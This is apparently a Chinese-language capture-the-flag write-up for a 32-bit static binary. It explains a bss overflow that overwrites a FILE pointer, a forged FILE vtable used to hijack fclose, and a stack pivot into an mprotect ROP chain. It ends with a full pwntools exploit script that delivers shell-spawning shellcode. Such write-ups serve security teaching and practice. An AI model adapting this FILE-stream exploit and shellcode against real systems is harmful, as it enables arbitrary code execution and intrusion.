题目涉及:

  • 伪造文件流(FILE Stream)
  • 调整栈帧(stack pivot)

源码分析

题目给的是一个32位静态编译的程序,保护开启情况如图:

程序的大概业务流程是打开名为输入名称+随机数文件的随机内容的文件,然后可以读取并输出这个文件的内容。

在 welcome 函数读入用户名时,没有限制输入长度,存在缓冲区溢出。

变量 x 位于 bss 段,文件指针 dword_80EFA00 也位于 bss 段,与 x 位置关系如图:

存储控制 x 输入内容,可以覆写文件指针 dword_80EFA00。程序最后调用了 fclose ,所以可以更改虚表指针来劫持控制流。

根据FILE结构,在 bss 段伪造出一个类似的结构,然后控制FILE里面的函数指针,执行任意代码。例如:执行fclose(fileexample)相当于调用 fileexample 这个文件(file)结构体虚表结构的 close 函数指针。

成功劫持文件流后,有一次调用机会(顺序执行一遍代码)。题目开启了 NX 保护,不能执行栈上 shellcode 。采取的解决办法是:先调整栈帧、扩充栈空间,使用 mprotect 函数改权限,让新的栈空间有可执行权限。

:link:Linux中mprotect()函数的用法

1
2
3
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

代码实现

mprotect 地址是用 gdb 加载程序后,print mprotect 查到。(无PIE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = 'debug'

p = process('./fake')
#p = remote("106.75.2.53",10007)

mprotect_addr = 0x08071fd0
# ROPgadget --binary fake --only "pop|ret"
pop_esp_ret = 0x080e2b6d
# ROPgadget --binary fake --only "xchg|ret"
xchg_esp_eax_ret = 0x08048f66

payload = 'a' * 32 # fill up x
payload += p32(0x080efa00 + 4) # FILE Pointer point to fake file
payload += p32(0xffffffff) * (148 / 4) # fake file
payload += p32(0x080efa00 + 156) # fake file ending & point to gadget
payload += p32(pop_esp_ret)
payload += p32(0x080efa00 + 200) # stack pivot to enlarge 200
payload += p32(xchg_esp_eax_ret)
fill_up = 200 - len(payload) + 32
payload += 'b' * fill_up
payload += p32(mprotect_addr) # call mprotect
payload += p32(0x080efa00 + 200 + 20) # ret to shellcode
payload += p32(0x080ef000) # argv 1
payload += p32(1024) # argv 2
payload += p32(7) # argv 3
payload += encoders.encoder.line(asm(shellcraft.sh())) # shellcode

# send name(payload)
p.recvuntil("name?")
p.sendline(payload)
# exit to run fclose
p.recvuntil(">")
p.sendline("3")

p.interactive()